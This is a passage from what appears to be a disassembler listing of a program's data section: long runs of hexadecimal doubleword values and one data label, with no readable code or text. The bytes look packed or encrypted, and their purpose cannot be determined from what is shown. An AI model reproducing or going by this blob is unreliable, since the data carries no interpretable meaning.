176F00DEh, 12A04A7h dd 0F320BDF0h, 317A0A45h, 2C6BD4E7h, 9032298h, 71148A6Ch dd 0C0BBEC50h, 9CCCFA7Bh, 43DA04C6h, 6EE40052h, 81ACEBD1h dd 3F1F7E64h, 0E84FE614h, 0EC4E27BBh, 8CFD494Fh, 8853E7EFh dd 0B100D818h, 4372AE94h, 34026h, 96D1B7D4h, 22604663h dd 0D6DAF705h, 57C0A60Ch, 99F93A20h, 48650025h, 0D8F52862h dd 7C2A0B1Fh, 6BC4E7F0h, 0D8EF918Dh, 0D4A03370h, 0D82CEA91h dd 0C9C04E39h, 0DD98BBh, 0F9504872h, 49ABB4EDh, 73022103h dd 7C6DB35Dh, 48987454h, 0E91285A2h, 24DDB8EFh, 390685AFh dd 0C7DCB8Bh, 692D5DD3h, 502750Fh, 0A56F9DC4h, 866D6043h dd 0D6B00553h, 0C03D6B9Ah, 0AF071E83h, 7B9C3F12h, 4F0FCC31h dd 980C45BAh, 2A0FA4EAh, 0B552B400h, 4E8D6788h, 0CC860923h dd 0A80907D7h, 6E9CC801h, 400B7184h, 4E9975Ah, 4A00B3BAh dd 550FA5D4h, 0B0AB3549h, 0C8511F59h, 0BEBD07E4h, 52EF7084h dd 20F9C119h, 815C7FE3h, 89FF00A0h, 7CEC445Bh, 0C3EED9h dd 9012E394h, 304E5221h, 45669307h, 0BD617624h, 0E0C7BEDEh dd 83E510h, 22BFE627h, 25B66968h, 44B458h, 20EA1843h, 78FCF7Dh dd 0FBB3784h, 0BA944199h, 10772480h, 5EACDD00h, 0EDC171B8h dd 223925F5h, 0E705F1D0h, 7D6380A7h, 0FD08187h, 2C86A3D2h dd 802865A0h, 0A5A9C6F1h, 3700753Dh, 0C809EF0Ch, 9E84A1h dd 3117345Fh, 0DAA7C4F7h, 0B4BF918h, 249313A8h, 7A45C3Ah dd 40456CADh, 83B6F14Dh, 298B5502h, 4887D886h, 29107A9h dd 0AAD514EEh, 6541A78Dh, 0E9BF200Fh, 0C406C24Ch, 9380B659h dd 2038F4ECh, 850002C0h, 1B011E45h, 93B0DFh, 244170ADh dd 0B3D0033Eh, 648FCD01h, 139F4347h, 3F663240h, 0A8BCB122h dd 78452874h, 0BCA530F7h, 0F2D029C4h, 0D5010699h, 600CCB3Dh dd 4A77AC81h, 74134F29h, 5362D84Fh, 6070E6CCh, 1B45B9D7h dd 4A93D797h, 5CFF61A0h, 74232D03h, 0A810758Ah, 618CD280h dd 9C1222B2h, 0C82170FFh, 5B3560Ch, 1081B4Fh, 3DE2CED9h dd 0C03ABC66h, 0ECF26BCDh, 84487600h, 0E2ED1B46h, 7F0801B3h dd 9C6A29BBh, 2B93E832h, 87E97417h, 0C9028F5Eh, 59E7F62Ch dd 1757860Ah, 97496ADEh, 0C05D0034h, 54719CDAh, 52C4061Bh dd 27B501AFh, 95C33901h, 366497D1h, 90305AE5h, 137090B4h dd 122F91h, 84FF35CAh, 4FE0C25Ch, 0B4DF5902h, 0E0AC6CE8h dd 0BCEF41h, 90028C8Eh, 30F42255h, 9A00C8F4h, 68363FB6h dd 1FBF99D0h, 0CF1B5C81h, 0FDC0FCC6h, 0BDF7ADC8h, 0DE78A00h dd 416CAACFh, 762E39DFh, 3EA5D79Dh, 0BDA34A80h, 5E225083h dd 0C7F52000h, 6896C903h, 386700A4h, 3243920Ah, 5CB8E46Ch dd 207AB42Ch, 38DB0680h, 3AF3225Eh, 0A68FFBC5h, 0AAA06C9Bh dd 170549F7h, 0C88983A1h, 0EF073E62h, 94C7025Eh, 88BBD3F3h dd 6BAA84h, 0AB481240h, 67A5FF76h, 4BB1ED00h, 1CB87098h dd 558403C0h, 0DEFB5D27h, 0C16F90E8h, 5C60FD30h, 615B8B01h dd 2DA30F1Bh, 9EEB9290h, 0F1BF658h, 3661009Fh, 3FDC3E08h dd 840CC387h, 23246A18h, 53BECA6h, 0DD0B6DE3h, 83288319h dd 9141B0D0h, 33899505h, 0C9819CD7h, 15E0EC4Bh, 53220499h dd 0C8E81351h, 4ECC9548h, 3004D2BEh, 0EB48E41Eh, 5300BD6Dh dd 1B5AD19Bh, 1C4F89h, 0ACDF19FFh, 743AE809h, 8451F228h dd 0B50D3802h, 43EAA23Fh, 95F0C1D5h, 0B6B8D8h, 4BE84A79h dd 0CEFC2765h, 0CBA5C000h, 0FA2D678Ch, 0A06A1F98h, 0B6A70403h dd 0EC5BC395h, 0E2235600h, 6BC38DBBh, 0A89700A6h, 70778826h dd 8B26710Eh, 0E1810D51h, 116980AEh, 47D0FD25h, 684203E5h dd 5CFFD2Ch, 808D3BA8h, 0A1A93C00h, 0C2FB188Eh, 57FA006Ah dd 0E311407Dh, 4F7F7C19h, 5E96BC00h, 0A0DDB7A4h, 79430071h dd 0E184FADCh, 1BB08BB2h, 0C548D701h, 72AC7028h, 0F53630h dd 8DC0FAD4h, 2165955Fh, 0AB53D301h, 648F6ADh, 12880F80h dd 0F32D13B0h, 31107100h, 0DB093874h, 0C600011h, 0C0EE5021h dd 75F88128h, 7B433Eh, 0EC1A4986h, 17508522h, 47457F25h dd 0E32F4CFEh, 0EAB1DC0Fh, 0B83F60AFh, 70440A05h, 6980B379h dd 99B7F37h, 320C5124h, 4127E781h, 97367407h, 1296A25h dd 0BE7AA888h, 0FEC01E65h, 0C2330BA1h, 0D9055B82h, 0ADE002Fh dd 0AE72A0CBh, 18466D00h, 0BDEB1654h, 90BB00F9h, 30639E62h dd 10E3E02h, 42E0A4D2h, 0FC864775h, 0B8500001h, 78902EEFh dd 2D973500h, 0F32522F4h, 4B630F5Bh, 9481D8F7h, 2AB59FFCh dd 63BB1E16h, 59A68C2h, 4E10147Fh, 0BB99D83Ch, 0EBA0740Bh dd 68BA6005h, 282E5B90h, 0BDFA5F4Bh, 8F292154h, 7B08472Dh dd 6D8B1F75h, 807417FDh, 0FFFDD65Ah, 0B8182D49h, 388A922h dd 0E0F4C5h, 27D7D19Ah, 616F2AEDh, 5F001F7Bh, 0D54B7D6Dh dd 0FA77E73Ch, 0F07E1F23h, 9467009Eh, 0F6F85131h, 63700D00h dd 84127642h, 27880006h, 49AEEDA8h, 0FF7E4879h, 64151100h dd 45834F77h, 9CF0046h, 0D4B78FEh, 14005655h, 0EC1FF32Eh dd 2A8D19h, 6AFF1E63h, 3F7D1A98h, 0BC9C800h, 0BA28B955h dd 4D890553h, 5CE8117Ch, 695600BCh, 5A8F1E98h, 0CCB86600h dd 0AEC28193h, 0BB20DE71h, 3651E886h, 0FE033BBh, 0ABF0B728h dd 53B41300h, 0BE66565Fh, 583B27E8h, 4701AF54h, 880F4C3Eh dd 0C181B46h, 0BF85282h, 0AB7AD42Eh, 0B4CBEF07h, 0B9A11CB7h dd 20E27Bh, 5260001Ah, 5ED3EB80h, 45DE0CE9h, 664AE080h dd 25A575h, 0F837E363h, 0EB8161D3h, 0E63F860Ch, 185F3C55h dd 1AC9E180h, 0B78B82C3h, 9E957230h, 5FFBF83Dh, 0F6880D8h dd 0ADD9485h, 8D5FF5DCh, 7B0CC4C1h, 41308204h, 30CA786Ah dd 1B08052Ah dd 6940AD81h, 37678C4h, 2A3C0301h, 213ACD06h, 4D61262Eh dd 4A441130h, 4990144Eh, 2B061C14h, 1130ADC7h, 0B5598C03h dd 32391D3h, 0AB18581h, 11012EF5h, 1BF9BF9Bh, 510789A0h dd 0C95204EBh, 99F00984h, 0D5F609A0h, 210020F5h, 0F90A6B9Ch dd 87853028h, 9EC0A10Fh, 447CC1ADh, 90C1918Bh, 0E9681080h dd 15582CD7h, 3F104600h, 2B041B16h, 457A3B80h, 60888451h dd 383EFE50h, 2630F895h, 0E36C10E2h, 0AF773F68h, 0C4645F03h dd 0DDC10C09h, 0CA6EF0F2h, 3E621B3Eh, 5A14D0C5h, 73F6F7Ch dd 0A8F46851h, 4111D217h, 742C008Ch, 67951E44h, 0CDC84CA5h dd 21250866h, 12FC4D58h, 8A12D7C3h, 5F9BCE03h, 829FF977h dd 487D8C50h, 976837C9h, 0CDF6D0E8h, 0A255D88Fh, 25D32094h dd 4FD46B01h, 0C890D3CCh, 4A0A3883h, 0F9043EC5h, 0F77D45B8h dd 73679802h, 2C2D1040h, 14EC8F89h, 8820A75Fh, 89CF7A34h dd 2C1025D7h, 30386080h, 77630014h, 76C94248h, 0F70A17F3h dd 0E07AAE73h, 1E12B42Ch, 0E03B0840h, 6A46B87h, 9C10E8FDh dd 376108C5h, 87D86221h, 2E2FC770h, 0F81261Eh, 45FD3FFDh dd 0ED3129Ch, 0A1CA1BB8h, 0D9698C94h, 0F9005191h, 0D115F5E3h dd 4B68F0h, 395EB267h, 0B55D2CA0h, 55CD93Dh, 0B424A94Eh dd 0F074AC0Ch, 0D23C40BDh, 0D366A014h, 88C424B0h, 0C8696D04h dd 0DEC0E44Fh, 3F604DDBh, 50458519h, 2180D808h, 0C5DE5E06h dd 0EB3D842Ch, 1F8D8014h, 15AA48A5h, 18AD24F6h, 0EBD88000h dd 65FCA80Fh, 48F89700h, 0BE70662h, 0C1C674D1h, 0B9520C80h dd 1B988722h, 918177DAh, 0B881BAEAh, 0FACC609Ch, 0DCC3E0D4h dd 2F579B02h, 400C816Ch, 4052B070h, 1400E2F5h, 0C90A47C2h dd 123A8130h, 4A85DC86h, 407072F8h, 4DE0DE6Bh, 887A8846h dd 55EC630Bh, 0FB46D11Dh, 83FE7080h, 30522CCEh, 4E6002D0h dd 56057E19h, 31F216A6h, 0D5459E80h, 894F0053h, 0D384856Eh dd 0F8AB1F97h, 0FDB79010h, 4C9A2860h, 9088684Fh, 30CC881Dh dd 49502D00h, 4F8D7BC5h, 3A0813A5h, 0CBA7005Fh, 3E620F16h dd 0CA6CC601h, 14DF729Fh, 929603D8h, 0FEF8B014h, 0F27472E8h dd 0AD79EFh, 0CC13D212h, 4F2B0CAEh, 0D1D3A813h, 0DB4C2101h dd 0A030641Ch, 5E1488CBh, 1E7CB2F0h, 0D4137C77h, 2802F1C3h dd 60C1D2C2h, 80841784h, 0CE283EA6h, 4D7C8010h, 0DC924028h dd 45E1731Fh, 0ED05CD40h, 0A0549C27h, 9F6AFB3h, 72A5C25h dd 17AC2810h, 6001892h, 47627904h, 240863E3h, 0AFFB4F6h dd 0A0EC7A6Dh, 11C620B8h, 39C0AC76h, 0F06FB0Bh, 88F101F5h dd 0C75CDEAh, 4253717Ah, 0BC83662Ch, 0D184994Fh, 51860334h dd 0BBC50198h, 5CB80008h, 0EC3D5ED4h, 9FC52h, 4FE71F30h dd 4D81A704h, 90891492h, 67984E01h, 99BCAC08h, 0D8A70021h dd 5C2E9233h, 0EB00F858h, 0D1D2D4EFh, 5566155Bh, 0FC40C079h dd 17534A6h, 69C5C7EBh, 232A19A0h, 30DDE260h, 52E47279h dd 1335300h, 0C94D8486h, 809350C4h, 3440083h, 2AE2088Fh dd 6A301997h, 0A00741CEh, 745D00B1h, 1DD631D9h, 0E024F497h dd 87804825h, 2AAE9E4Ah, 205500CAh, 2C56A952h, 3E7111B0h dd 2CFA865Ch, 0A212A787h, 0B8006C52h, 16A430E1h, 201E6A72h dd 362603E8h, 107A2352h, 5020A0B0h, 9407AC6h, 1CD2AB85h dd 15710C81h, 23343195h, 30D9A258h, 3509964Ch, 89F79AB0h dd 4C88118h, 48FE164Fh, 5212C60h, 1B09ED8Bh, 25C0B9Bh dd 0F1B0D003h, 0C884519Ah, 0DBF4D816h, 0A4668708h, 0D35D70D5h dd 59874Ch, 91C4ADBh, 90240288h, 1912219Ch, 24A9C408h dd 0FD440F08h, 0B861A01Ah, 0FE7518D3h, 6F95231Fh, 4E002411h dd 0D4EB446Dh, 0C3185382h, 5C481E76h, 0D1856003h, 73CF1CA1h dd 33700A49h, 980902h, 0CF14C121h, 83C9C6E6h, 0B6402A02h dd 2C811FF4h, 8090CC08h, 0B9ACD944h, 0C7EE039Ch, 0D0E8E0AFh dd 935EA4h, 0F514DB03h, 0CC110025h, 0F915D002h, 43977BCh dd 0DC50AA7Bh, 0B8034E24h, 591EAD0Ch, 997D5057h, 31440052h dd 0C640DB8Eh, 0C8023A43h, 0DF3805D4h, 69D8460Ah, 895DE0DDh dd 0C7F09036h, 41D7816Fh, 0B0A4B8h, 31D3D179h, 3992A99h dd 52B1808Bh, 67114EACh, 71BD00C5h, 379522C9h, 9631D3A5h dd 92043130h, 807CDB11h, 50333D2Eh, 0D97ACDh, 2757E516h dd 61AAFE4Eh, 90431530h, 5E1EC0Bh, 3FAB3E7Fh, 0ED4C1DCh dd 4BE202CCh, 2A59BE84h, 0F2B4D36Ah, 5A5C0762h, 60EA51FAh dd 0B8CF35Bh, 73773914h, 15F23F4h, 0A76CF1Fh, 8B961821h dd 61CF1798h, 0A94DBD05h, 88008364h, 0C87DE76Bh, 30DF789Ch dd 1BE81C9Bh, 908884A5h, 0A7071683h, 0B0C0059h, 0FC8D2ACDh dd 6409E11Ch, 1AAA06C4h, 41076C82h, 7318D160h, 951D4408h dd 4026C45Fh, 0B9446B4Ch, 0BAFD00FAh, 0E1B21556h, 0A82E3524h dd 58BC18DAh, 0A2A1608h, 0DEADD823h, 6E732441h, 0F5AC0090h dd 1AE84B5Fh, 9D008A90h, 0D8BFB455h, 0F342FD7Fh, 28000063h dd 3FDB820Fh, 3B000979h, 0DA7214FFh, 0C097F650h, 0CDD16CA1h dd 96F51Ah, 35378785h, 0DB28E207h, 4FE27411h, 40206CF1h dd 4876480Ah, 0AC906989h, 852C5E75h, 0F50080A4h, 63CAFEEFh dd 46093F50h, 1724D902h, 7C504AA0h, 1253901Ah, 0E25C43D9h dd 0C3E200E8h, 0A45060C1h, 3582AD8h, 0D6458144h, 77F07076h dd 94063CA8h, 9821C4D1h, 0DEB333EEh, 18784D89h, 610988DAh dd 70098DFEh, 80CDD03Ch, 9E36A6D4h, 38C28232h, 3CC69498h dd 781D4B0Eh, 0C140A51Ch, 798898h, 3F284DE2h, 444F123Bh dd 3E50E160h, 80228236h, 0EF26A951h, 818980F3h, 0DFB0B01Ah dd 0A46A1187h, 803488F5h, 3687D761h, 7E00223Eh, 0AE031ACCh dd 1A145FE6h, 291CC4E2h, 35112C17h, 2ACB5580h, 270077E0h dd 66DD4584h, 2786FAEh, 0C52B651Ah, 0F7407570h, 0CF546A7Bh dd 1D00A8A0h, 5B9414A7h, 7B7D3338h, 0FD3B0039h, 5A0C7C22h dd 4982AADh, 0E7DB9705h, 46871682h, 1315943h, 8A900C18h dd 743CC947h, 0F50C1BA8h, 0CC6E5CDDh, 0F42A49C4h, 7206A405h dd 46A42111h, 1AC4603Ah, 6406CDB0h, 1DE63E9Eh, 80C40520h dd 3C17D132h, 3646E720h, 4E10B858h, 10A0583Ch, 747C8BE4h dd 50134941h, 3B953A79h, 281E6880h, 0A56C9150h, 18307681h dd 449D0C03h, 0D3306B3Fh, 0C398F63h, 0EC097CD4h, 3A91264Ah dd 9A508590h, 66F0C8ADh, 45C7BD00h, 0A6C163DEh, 0E0340357h dd 0A33091EDh, 789C6800h, 9F923EF8h, 0D017091Ah, 9800EF0Ah dd 0ECFB45D9h, 6B9AA400h, 0D34648A6h, 243900CFh, 12699C1Fh dd 0E83FEBC5h, 0A26044Dh, 2CF0117Ah, 9AB81835h, 0AE0248D1h dd 9526B4EAh, 60CD8EBh, 448619DBh, 89EF4CDh, 51FE8Bh, 0A80219E5h dd 251C008Eh, 4CB2096Fh, 3900FF57h, 0D21BD931h, 0F8D1F43h dd 0B65EE14h, 21499123h, 54F5F918h, 1D6E9C51h, 80A56AD9h dd 108E072Eh, 581FAD84h, 40A0E51h, 3680A490h, 0EF61852Ch dd 8F4000B2h, 27AE5CEEh, 0F5059629h, 0BC4806Ah, 0A995380h dd 0D32C5020h, 55C00038h, 405CD613h, 0B72E1832h, 0AF00B4E8h dd 23C79E50h, 0BBAC3F95h, 43C6BA1Ch, 0CCB44A39h, 0CAAAB0C0h dd 0B560AF1Dh, 0D4A93403h, 9D70C79Fh, 1DB240BBh, 36F5D8h dd 0A737AC0Dh, 0E000C4BAh, 0C86DC9B6h, 0A19FAAh, 0BFB8C136h dd 0CAC7A724h, 0B4B13D02h, 941E39C0h, 0B3D33C38h, 0A57BF73Ch dd 0AFD64318h dword_4FE044 dd 0D1CEF9A1h, 46B080BAh, 4D23C6A5h, 0DF6D00A2h, 0D6CC9EB3h dd 9D010D4Fh, 0A0BAAD3Dh, 0AAE051C2h, 0A9AB0527h, 31DD9A6h dd 0C3DABE68h, 0A0BDC9C1h, 5FF19839h, 1460C04h, 98161007h dd 0BC393C60h, 0B4E78000h, 0DF6721F1h, 0A2988E00h, 9D172964h dd 30236037h, 79871D2Fh, 86C319C0h, 0A045671Ch, 0ABAE08h dd 9A12E20Dh, 4D92416Ah, 2C370E28h, 17F7B002h, 0B107B68Ch dd 88A31D0Ch, 616B8C0Ch, 0E30D5A30h, 58692512h, 814CA090h dd 0FCC0871Ah, 0C5BD4086h, 0ED66E8AEh, 15592940h, 781A69A3h dd 93C3BD0Ah, 0E1E81F58h, 0B09014DFh, 77DBC8EFh, 0EB90EEh dd 0DD3B6AE9h, 781D9246h, 0CC9C49FEh, 18FF1C16h, 2C9A28D6h dd 1A8ADB1Dh, 0CDF140Ah, 13600D02h, 88E44809h, 1537070h dd 54EC172Bh, 0D06C944Eh, 0CA050A1h, 2F0A06Dh, 0FFC6E48h dd 40470F82h, 0E1146734h, 94E603C8h, 463299E0h, 0CAF191Eh dd 14456413h, 58000AE4h, 16D65AA0h, 4464A721h, 0BE5440CBh dd 0AAB8EA94h, 3ABC048Ch, 4FB80824h, 0AB1B546h, 3102708Dh dd 19AB85F0h, 4DF832E2h, 1E35E082h, 9495C61h, 2CDE4821h dd 0FA600740h, 819F50C1h, 458CA42Ah, 80E41A01h, 8ACF2CACh dd 69486C98h, 0C4844198h, 4BF0DA90h, 9D6421A5h, 1ADF170Eh dd 28223551h, 89DF8811h, 4AFC3E0h, 0B0202D64h, 48A339D7h dd 508093C9h, 97BFDFE0h, 0A910C91h, 2D8D8042h, 0F30C1899h dd 0B47013Eh, 15CE5AC2h, 8E934204h, 8A9D8899h, 0F46DA3E0h dd 70855610h, 1C942362h, 40F467E9h, 4F6AECC8h, 28470724h dd 80509B44h, 9946C1A3h, 97F140Ch, 0E0CE048Ch, 0CCFE6ACh dd 7CFCCDB3h, 0DA32129Ah, 61A83277h, 3D518028h, 0A0C99A3h dd 128C9CFBh, 9E9C6ACEh, 0C421D463h, 0D493297h, 1B90A04Fh dd 0FDDD9CB0h, 14A0E924h, 0D6D85894h, 9F347421h, 0E25061ABh dd 63EFCACh, 990D6F64h, 28535160h, 89816FA8h, 56B4912Ah dd 3054EC23h, 6558936Dh, 6A4C5288h, 0D7CE882Ch, 37FCAAC2h dd 0B20CECC8h, 0DD100Ch, 0B3F416A5h, 42370DEFh, 7818836Ah dd 28895708h, 51A444DCh, 60388718h, 0CC5CB18h, 0DDDF22B2h dd 8B7C4770h, 82815388h, 4A1E9C04h, 0E8603C57h, 8FDB705Bh dd 9080920Fh, 0A50DE3B0h, 63B11523h, 2CE4615Ch, 92513A49h dd 7EE684C7h, 0C410B709h, 0DF13BA9Bh, 8850713Bh, 54DC07C0h dd 0CA03147Ch, 166E353h, 0AB472B19h, 4056A873h, 0C82ED6F7h dd 20D3EB31h, 7EF0EEB7h, 4CB9062Dh, 396A8D0Dh, 2B2EC700h dd 5A1CC5F2h, 4310C3EFh, 15E02417h, 90609103h, 600E3540h dd 0C528008Ch, 679EA92Fh, 0D102D20Ah, 2026A338h, 60878156h dd 0C1801E18h, 5CE4B7B4h, 8F18198Dh, 6F190FB6h, 0DE4E00BDh dd 0D30450E5h, 5E0006CFh, 569BEFC9h, 6DB7AEh, 1B291461h dd 0C248DC7Ah, 0CE686001h, 0E803749Bh, 86A04884h, 301CD405h dd 1AEEB84h, 846F6239h, 8D438AC9h, 20CD5C90h, 87630380h dd 97EEFE89h, 5E2412E5h, 0B45D0194h, 200E95B6h, 8F00D074h dd 0EB247F71h, 0FEF37A6h, 0F214F058h, 834E4880h, 8D070CD7h dd 7F04B313h, 0BA837EC7h, 8A01C00Dh, 29DB0011h, 1BBF1043h dd 0A20A134Fh, 14D6821Eh, 7AB9E3EFh, 813007CCh, 0C1BC08D8h dd 8A0DBFh, 758C59h, 12840CC7h, 352D5BC5h, 0BF05B203h dd 90489082h, 0C09AA37Fh, 8401A218h, 70ED97Dh, 86B182C0h dd 74281350h, 20B40E8Bh, 0A818188h, 86A383C1h, 50BF7678h dd 1DB10C50h, 835981B9h, 0C59CD29h, 80842994h, 0CC57A4Fh dd 0A2660A88h, 288C108h, 0BE75851Dh, 0AF83148Eh, 8B9CBABh dd 0F028E0F4h, 2018D86Fh, 1D4825ADh, 2AA430FFh, 93E9AF31h dd 69829E00h, 9EBD72Dh, 0A85002D5h, 0A05ECE80h, 0DC2F4F60h dd 58D1A900h, 5F73E12Ch, 0F4060090h, 8733B72Eh, 941CCF3Bh dd 0E98C7125h, 72D71D0h, 0D5C24BDFh, 0E633A024h, 7303A72Eh dd 1CAD9EF2h, 0AB2801F1h, 632A6F56h, 8C2CF16Eh, 0A1755898h dd 0E418A3A9h, 26F6859h, 6D5810ECh, 53031C0h, 30D62F91h dd 73595733h, 0B48829A5h, 2D82802Eh, 4A4052F1h, 0D13D00Bh dd 2D960FE6h, 3091B1B8h, 0C01F0D4h, 0FF798CD9h, 3058317Ah dd 0A6282F18h, 906E9F9h, 84FA6985h, 16923C41h, 285BA99Eh dd 8615E0D0h, 0E411D943h, 0E16C811Ah, 0E851B6C3h, 0B983D357h dd 0B46F12Ch, 0FD716807h, 0A423F7F9h, 0BBC83129h, 31AC76F1h dd 3DC043Eh, 0F55BEF78h, 811931CEh, 2F18D7DFh, 14124C51h dd 0D5515847h, 918E2213h, 9769E9B0h, 0F039180Dh, 0DC302DB1h dd 0B90C3104h, 0F118C591h, 0AC4C0AFCh, 60E8A258h, 742B9167h dd 5247771h, 524078F4h, 54C8F9A4h, 4210A40Ah, 4DE3B228h dd 1BB8B174h, 4C210BA5h, 56901508h, 0F9116643h, 0DC2C8279h dd 0CD28847Eh, 4271882Bh, 0BB1F8FE5h, 0C8069A91h, 0C89D476Fh dd 0C8E9427Eh, 6BB544A5h, 1078782Bh, 286D8A5Bh, 40ED217Ch dd 639FD04Eh, 853BE150h, 3D8A8310h, 4529D4C8h, 58092843h dd 445C9228h, 0DFF0226Ch, 8960724Ch, 5234A14Dh, 6022F607h dd 804E5906h, 40D46115h, 0F0E91184h, 0A1783901h, 0F3A52A1Bh dd 2D0C22DDh, 0FA6E7C61h, 3291B806h, 667062BAh, 496E112Ch dd 8C48A471h, 0CC201384h, 9E28D2D0h, 0F55174AEh, 59C04650h dd 8141086Fh, 13D62524h, 3F4420D2h, 0A0A4F560h, 53988256h dd 0B04960F0h, 269EE76Ch, 9EE42559h, 0BE77805Ch, 70828407h dd 7F0E1D76h, 2E750EB4h, 784E80A2h, 0BA47A3h, 6123C46Eh dd 8A04B01Bh, 0E14365Ch, 807013BEh, 49B4778Ch, 0D97E07C0h dd 4610741Ch, 0D8612805h, 1DBF7810h, 7C514F0h, 700D8302h dd 0C413A01Bh, 6F784E49h, 752E077Ch, 801E38B4h, 0BE5A0Fh dd 7B4D1BD7h, 5684A47Eh, 0B0BE0429h, 80A335h, 81830AC5h dd 12BC207Eh, 83189052h, 5273EFFh, 9AC7510h, 0AB84C0D5h dd 3212367Eh, 6C9B9210h, 59F28C18h, 6C261D5Bh, 0FC02681Eh dd 0E0C08733h, 0B850F1F4h, 2E590028h, 9FB4ED99h, 0E67835AEh dd 0E847D600h, 595C663Ah, 3C2A094Bh, 0B846F302h, 0D5D7311Dh dd 0D8FC5440h, 7C7233F9h, 255B0D7Fh, 0F1707566h, 6ED870C4h dd 150381C1h, 0D983107Ah, 0D6862BD9h, 0D38C29A1h, 1CD4F818h dd 548EE7C0h, 45B7C76h, 9787E67Ah, 0ABE0794Ch, 5444589Dh dd 45A4167Fh, 687818B4h, 0C52001E6h, 215D033Dh, 96E9B72Fh dd 0BC17F82Ah, 0BBC3E106h, 10400818h, 40B89BACh, 0A40F2D9Ch dd 0AC5980E0h, 1514B1FCh, 8CAD30E5h, 7CA710C0h, 0B08DD650h dd 40AFEF81h, 0F22D5E0Ah, 8F8F8C57h, 9E966031h, 94FF6CA2h dd 3A023E48h, 7CBC056Ah, 0E909B7FEh, 0A22C6BF9h, 2E4886EEh dd 2CAA4948h, 641532C9h, 0F59C2E6h, 63138ED8h, 2122E380h dd 2B000738h, 0FE719BA8h, 0A37F8Ch, 0BF80A449h, 0CD77BE50h dd 78B34FF0h, 50070C16h, 0F7B1EA1h, 2E758054h, 4E74FCDEh dd 346C007Bh, 0CE6626ACh, 0B0044A6h, 0CFD776A7h, 0ACEC1CC5h dd 0E6930504h, 34CEED0Ah, 2008010Ch, 0F28D0CD9h, 3031D625h dd 849E416h, 0AC2DE430h, 880F5888h, 26D2DE21h, 5709B2E4h dd 6829D062h, 22AE9108h, 0AD8678D7h, 21361930h, 441CD22Ah dd 81CE6034h, 89191A4h, 707F149Fh, 1087B286h, 0BE9CE24Dh dd 97B2700Ah, 6F33410Ch, 8C4D2Ah, 0E8D21650h, 2AE4B050h dd 9912B89h, 442D222Ch, 70896F2Eh, 22242112h, 24912348h dd 26442522h, 12288927h dd 487A2479h, 3E3C913Bh, 0E7DA003Dh, 0C3155E39h, 2E5C31FFh dd 9492D7C1h, 0B284F1B8h, 58049770h, 8A12D95h, 0B4BC40CAh dd 2907B6CDh, 3990D7C1h, 0FAC3EDC7h, 4EF0C72Dh, 0EAB5F24Bh dd 0C8CD3C83h, 0E97B1A6h, 388EE928h, 4019E18Fh, 4BBE01B9h dd 27005A02h, 3CF26B4Eh, 67242ADAh, 0DD04680Ch, 2E93D9FFh dd 0C00A1430h, 22A302FBh, 0D6B031E6h, 384A9407h, 0C5808055h dd 9022441Bh, 1CE02781h, 991F35Eh, 0B184141h, 0E0AEFA04h dd 725871h, 1CB8EEAFh, 0AB73E56Bh, 0B23C10A0h, 0AC389052h dd 0EF6A0E62h, 0AF834F41h, 0B9E3AC64h, 0C9071900h, 0D7685512h dd 0E13D14B4h, 3A3E1CF3h, 0B75F1C00h, 9336AAB0h, 0E5B728A4h dd 0EDCE03E4h, 417A30B0h, 30791833h, 175AE0D0h, 7FE200BFh dd 0A8EE7D44h, 0E8008F1Ah, 0FCBE13A4h, 0EB01B6Fh, 0C50D4E07h dd 0D2F26DC3h, 0B47789D0h, 13600E00h, 11851FA2h, 14EA1FC5h dd 0BF0A0121h, 0D00EC382h, 0C03D97Ch, 308F178Ah, 0ADEE089h dd 0C67F30C1h, 1DA36F40h, 0F9057BF8h, 90758B07h, 8003405Fh dd 0C05002C6h, 0F8B029D1h, 0C10E3CCCh, 0D6013053h, 818405D2h dd 0F81C4CC5h, 12830A10h, 0BE311500h, 0BF80C107h, 42600553h dd 0BF83ACECh, 631DA444h, 0C90A435Ch, 0F6EB181Ch, 7A5160A4h dd 59127D3Eh, 302C81B5h, 13BF0008h, 41C007B1h, 580A2A61h dd 38367E06h, 0DCC12DC7h, 0DBD45847h, 774F0A08h, 0E81435CCh dd 358FE040h, 0EB013858h, 0B2758830h, 0E644890Ah, 1CBEF840h dd 0BF633CBCh, 405DB8C5h, 0FDC30F5Fh, 0C11BA900h, 9022A3E8h dd 0ABF3B4Eh, 85226h, 448006C5h, 35F90DEBh, 0DC81F000h dd 84D628C1h, 98245859h, 0C77500BBh, 0C406795Fh, 7C4C851Bh dd 0C0506E40h, 0A2D31459h, 2033F135h, 7C516C50h, 0BB02240Eh dd 581C09ECh, 7F5C7430h, 90CB387Ch, 5D1C97D6h, 4DE96200h dd 208BE78h, 59D436C1h, 65557790h, 558AA98h, 0D9809049h dd 7E54801Fh, 764C444Ah, 13C000D0h, 7781498Ch, 5340DDDBh dd 36C000B5h, 7E4E01A3h, 834F701Ch, 4C023C7Ah, 612300ECh dd 8606C477h, 1CD91F74h, 1DB109C0h, 8F97FC87h, 1BC00172h dd 8CB47F81h, 60D87E10h, 0ACD94810h, 1E708201h, 2AC57B85h dd 408FD8B1h, 3ADF6F74h, 75C87732h, 4B55DE42h, 0FC4BE7D4h dd 86A04C94h, 0D0AC814Ah, 0F84AFDFBh, 89590574h, 0CC057074h dd 0C50534D4h, 0B3369051h, 42608Ch, 880AECD2h, 0B9597013h dd 0D2B88049h, 7FB03DAEh, 75825CC0h, 1D83E8B4h, 0CF07C566h dd 9098C914h, 8C581DBFh, 70F75F7Ch, 0CB54727h, 396282FDh dd 0C4C81189h, 500BBD33h, 38C57485h, 4C0970E4h, 0B1CB0C4Eh dd 0A0839801h, 0C5DC600Dh, 0D1D821E9h, 0A3E3E30Ch, 48C4204Dh dd 770191Ch, 0C2FE5909h, 98E494C4h, 4138D3DCh, 8526BAC0h dd 55207082h, 10B57526h, 0DB69131Bh, 764FC1BFh, 20721CD1h dd 2C818414h, 0CF3C87B4h, 1DA31300h, 3498844Dh, 1B58B560h dd 1FBF1174h, 3083A506h, 26B934B0h, 48185E53h, 98C70B50h dd 0F50CED2Dh, 1635EBD0h, 0C9DF0642h, 0C880E084h, 0C9150D21h dd 18177CE2h, 0C8403196h, 0C57CA91Dh, 3EC15A07h, 0EC28050h dd 2CB57A60h, 5D8901Dh, 0C3844507h, 0C5E08564h, 40AA8950h dd 0AA94F8D9h, 0D0360750h, 0E441A539h, 2074BE1Bh, 0AD7E4BBBh dd 51C413F0h, 0C10C44C0h, 7BF2E7Fh, 8C964E78h, 0AB7429D4h dd 82EEB400h, 831BD97Ch, 0ECD3A74h, 0AE60179h, 0BB17FBFh dd 0E7907089h, 6F1F4404h, 316BEEBh, 2D87D50h, 0BD0B2101h dd 500AA282h, 